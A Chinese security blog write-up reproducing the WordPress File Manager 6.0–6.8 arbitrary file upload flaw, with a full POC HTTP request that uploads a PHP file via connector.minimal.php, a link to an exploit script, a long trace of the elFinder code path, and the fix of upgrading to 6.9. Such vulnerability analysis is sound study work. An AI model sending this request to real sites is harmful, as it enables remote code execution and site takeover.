WordPress插件File-Manager任意文件上传复现
作者:daxi0ng&水木逸轩@Timeline Sec
本文字数:3591
阅读时长:10~12min
声明:请勿用作违法用途,否则后果自负
0x01 简介
WordPress是使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。也可以把WordPress当作一个内容管理系统(CMS)来使用。
文件管理器允许您直接从WordPress后端编辑,删除,上载,下载,压缩,复制和粘贴文件和文件夹。不必费心使用FTP来管理文件和从一个位置移动文件。有史以来功能最强大,最灵活,最简单的WordPress文件管理解决方案!
0x02 漏洞概述
安全人员进行调查时,很快发现WordPress插件WPFileManager中存在一个严重的0day安全漏洞,攻击者可以在安装了此插件的任何WordPress网站上任意上传文件并远程执行代码。
攻击者可能会做任何他们选择采取的行动–窃取私人数据,破坏站点或使用该网站对其他站点或基础结构进行进一步的攻击。
0x03 影响版本
File Manager 6.0-6.8
0x04 环境搭建
为
Wordpress5.4.1下载地址
https://cn.wordpress.org/wordpress-5.4.1-zh_CN.tar.gz
wp-file-manager6.0下载地址:
公众号内回复“wordpress插件”
用phpstudy搭建WordPress,安装插件
0x05 漏洞复现
POC:
POST /wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://127.0.0.1/wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.phpContent-Type: multipart/form-data; boundary=---------------------------402078532114344024151352374707Content-Length: 465Origin: http://127.0.0.1Connection: closeCookie: PHPSESSID=184sec57d1sltqv23haagn3574; -----------------------------402078532114344024151352374707Content-Disposition: form-data; name="upload[0]"; filename="1.php"Content-Type: image/jpeg 123213123-----------------------------402078532114344024151352374707Content-Disposition: form-data; name="cmd" upload-----------------------------402078532114344024151352374707Content-Disposition: form-data; name="target" l1_Lw==-----------------------------402078532114344024151352374707-- |
---|
访问
/wordpress/wp-content/plugins/wp-file-manager/lib/files/1.php
EXP脚本:
https://github.com/xDro1d/wp-file-manager
0x06 漏洞分析
修改数据包中target的值,发送POC出现错误,返回以下情况:
对比这三个POC,唯一的不同之处在于一个target之后是”l1_Lw==”,一个之后是”11_Lw==”,还有一个之后是”t1_Lw==”那么问题究竟出在了哪里?
首先数据包最早由connector.minimal.php接收,接收到数据包中的各个参数,这里走了一些弯路,但还是应该写出来
之后connector.minimal.php文件开始执行,首先判断“./vendor/autoload.php”是否可读,如果可读包含“./autoload.php”,执行autoload.php文件
看下autoload.php文件的代码,首先给“ELFINDER_PHP_ROOT_PATH”赋值为当前文件绝对地址
接着执行autoload.php文件最后的if判断
判断php的版本,如果版本再5.3之上,那么执行,补充知识点:
spl_autoload_register 是一个实现自动加载类的函数,自动加载类就是我们在new一个class的时候,不需要手动去写require来导入这个class.php文件,程序自动帮我们加载导入进来,而传入spl_autoload_register加载类函数的参数为将要new的类名
此时返回connector.minimal.php,elFinder
静态引用类将elFinder的$netDrivers数组初始化,将’FTP’赋值给’ftp’,接着往下执行
elFinder未被引入到当前文件,那么开始执行autoload.php的elFinderAutoloader方法,因为要实例化elFinder类,所以传入elFinderAutoloader的值为elFinder
接着走,$map自不用去看,都是人家写好的
首先name,在数组map中是存在的,那么include_once这个name所对应的类名,这里是elFinder,然后是newelFinder,自然是要先执行它的构造函数,给该对象的构造函数传入的参数为connector.minimal.php的
接着看elFinder的构造函数
现将默认的编码集设置为UTF-8,然后定义服务器命令接收的各种常量
此处省略位运算,只需要知道最后$errLevel的值为32266就行,接着给全局变量加入数组键“elFinderTempFps”,“elFinderTempFiles”,值都为空数组
接着_SERVER[‘PATH_INFO’]为空,直接将这个对象的引用给了elFinder类的instance变量
接着debug经过$opt中的值判断为false,检测”elFinderSessionInterface”接口是否已经被定义,如果定义,将这个php文件包含到文件中
将这个文件包含到文件中之后判断opts的数组中session是否存在,然而opts数组中并没有session键
执行else,else给$sessionOpts进行赋值,接着判断elFinderSession是否被引入,如果没有将它包含进来,然后初始化一个elFinderSession对象,elFinder对象的session引用这个对象
既然newelFinderSession那就要执行它的构造方法
看下此时$opts参数的值:
接着$this->session->start()方法执行
start方法用于设置自定义错误处理函数,之后进入下一个if判断语句
$fixCookieRegist的值为false,之后PHP_VERSION使用的是5.4以上版本
关于session_status的解释:
PHP_SESSION_DISABLED 会话是被禁用的
PHP_SESSION_NONE 会话是启用的,但不存在当前会话
PHP_SESSION_ACTIVE 会话是启用的,而且存在当前会话
看这代码的意思就是开启一个新的会话,给定Session ID值
if还没完了,挨个看吧
给sessionUseCmds赋值,判断opts[‘sessionUseCmds’]是否存在,是否是数组,如果满足,将两个数组合并为一个数组。
之后直接跳过判断HTTP_X_ELFINDER_VOLUMESCNTSTART的if语句,因为不存在。
执行utime方法,返回值给了time变量,剩下的一大堆也说不了,如果用了就用的时候说,于是重新捋思路,直接从elFinderConnector构造方法完毕之后的run方法开始(我才知道为什么之前分析的大哥不直接跟进elFinder的初始化,因为东西真的太多了)
跟进run
首先判断是否是POST方法传入数据,接着合并数组至$src
maxInuptVars = null,而src本身存在,所以直接跳过大段的if语句,直接到
给全局变量赋值这里,$_REQUEST的值变为
接着直接看第一个if语句,不会执行,因为$src没有targets参数
第二个if语句判断json_encode方法是否可用,在之后看flFinder->loaded方法,这里返回true,又跳出这个if语句
cmd肯定存在值,ifPost为true,所以不执行该if语句中的内容
此处的$cmd为upload
此处判断elFinder类中是否有upload方法,结果是有的
所以if语句又不会执行,看之后的foreach
首先commandArgsList方法跟进
这里着重看下commands数组中upload元素的内容,由$list引用
'upload' => array('target' => true, 'FILES' => true, 'mimes' => false, 'html' => false, 'upload' => false, 'name' => false, 'upload_path' => false, 'chunk' => false, 'cid' => false, 'node' => false, 'renames' => false, 'hashes' => false, 'suffix' => false, 'mtime' => false, 'overwrite' => false, 'contentSaveId' => false)
也是个数组,在之后将list的reqid元素设置为false,然后返回list
list第一键值肯定不是FILES,所以跳过第一个if语句,而第一个target又存在于src数组中
将target的值给了arg,再移除arg的空白字符和其他预定义字符
之后将arg放入args的数组中,键名为target,然后第二次foreach循环开始
第二个$list的元素肯定是FILES了,且FILES=true,于是执行第一个if语句
$hasFiles=true
这两个循环之后就没有什么可说的了,将每个list的元素写入到args中,只是值为false的变成了‘’
$args中debug元素是存在的,所以debug元素的值被设置为false
然后看elFinderConnector的input_filter方法
因为这里的php版本大于5.4所以magic_quotes_gpc的值为false,args肯定是数组,然后使用这个if语句之后对每个元素进行字符过滤
再之后对将上传文件的信息给了$args数组中的FILES元素,接着执行elFinder对象的exec函数
在exec函数中判断完session以及是否可以进行上传操作之后开始判断
将args中target元素的值给了dst,将
此时volumes中有两个键,到此处可以发现POC中上传文件的target元素的值只能以l1或者t1开头
这里传入的$hash为l1_Lw==,然后搜索开始空字符出现的位置是否为0,如果是返回相应的volumes的元素信息
接着result为null,args['sessionCloseEarlier']被设置为true,之后的一些判断都能看懂(有注释的),一直到判断
result在1131行被设置为null,所以跟进cmd进入到upload方法
调用volume方法,返回$volume,这个方法解释可以参照上面说的volumes数组内容
接着files,header等一系列变量对文件上传的设置进行初始化或者得到上传文件的具体信息,那么从这里看上传文件的参数具体信息
通过POST获得src,通过src获得cmd的值,通过cmd,调用upload函数,而upload函数又从上传文件的信息中提取filename等信息。
接着一路跟进到程序的3314行
此时看一眼传入的$files信息
可以看到files的error为0,所以第一个if直接跳过,接着获取到文件的临时文件名,paths获取到文件路径为
接着看changeDst被设置为false,因为第一个if循环中的值都存在,所以将$changeDst设置为true,之后进入foreach循环
直接跟进到3433行代码处,此时的_target已经是target的值
直接跟进upload方法(elFinderVolumeDriver类)
首先是commandDisabled判断是否允许上传功能
结果是有的,接着调用dir方法,将$hash(target)的值传入,再跟进file方法
发现file函数中有一个decode方法,跟进
decode函数首先判断$hash是以l1_开头,还是以t1_开头,接着对l1_之后的部分进行base64解码,跟进uncrypt
返回$h的值,跟进abspathCE发现返回了一个绝对路径值
之后这个值返回到stat方法中
stat方法最后返回$ret的值如下:
这个值最后给了$file,返回给file方法
file方法又返回给dir方法,接着跟进,跟进到mimetype获取上传文件的上传类型
之后计算临时文件大小,在根据文件名决定写入的绝对路径
接着跟进joinPathCE
这里返回将要写入文件的绝对路径,并接着调用isNameExits,查看文件名是否已存在,如果存在返回详细信息,在之后进行覆盖写入,接着跟进saveSE方法
跟进_save方法
跟进_joinPath方法
最后使用copy方法写入文件内容
至此,分析完成,漏洞简单的方法调用过程如下图所示。
0x07 修复方式
将File Manager插件升级到6.9版本
参考链接:
https://www.anquanke.com/post/id/216990
- 《JavaScript语言精粹》—— 读书总结
- 视差滚动技术的简介及运用
- 【面试虐菜】—— JAVA面试题(3)
- Carousel 旋转画廊特效的疑难杂症
- 区块链为IBM与Visa等老牌公司注入新的生机
- 【java.lang.UnsupportedClassVersionError】版本不一致出错
- Yeoman 官网教学案例:使用 Yeoman 构建 WebApp
- JSP与JavaBeans
- Log4j官方文档翻译(四、如何在java中输出日志消息)
- 展望未来:使用 PostCSS 和 cssnext 书写 CSS
- Java多线程之Runable与Thread
- 关于 devbridge-autocomplete 插件多选操作的实现方法
- node-sass 安装失败的解决措施
- JavaMelody监控SQL
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- AtCoder Beginner Contest 163 A~~D 详细代码讲解
- HUD 4841 (vector的用法)
- c++ 优先队列(priority_queue)的详细讲解用法
- HDU 1022(关于栈的详细解法)
- count_if函数的用法
- Codeforces Round #633 (Div. 2) A ~~C
- AtCoder Beginner Contest 162 A~~D
- P1036 选数
- P1028 数的计算
- P1598 垂直柱状图
- 递归解决全排列问题
- Codeforces Round #622 (Div. 2)A~~C1
- AtCoder Beginner Contest 156 A~~D
- AtCoder Beginner Contest 155
- Codeforces Round #620 (Div. 2) A~~D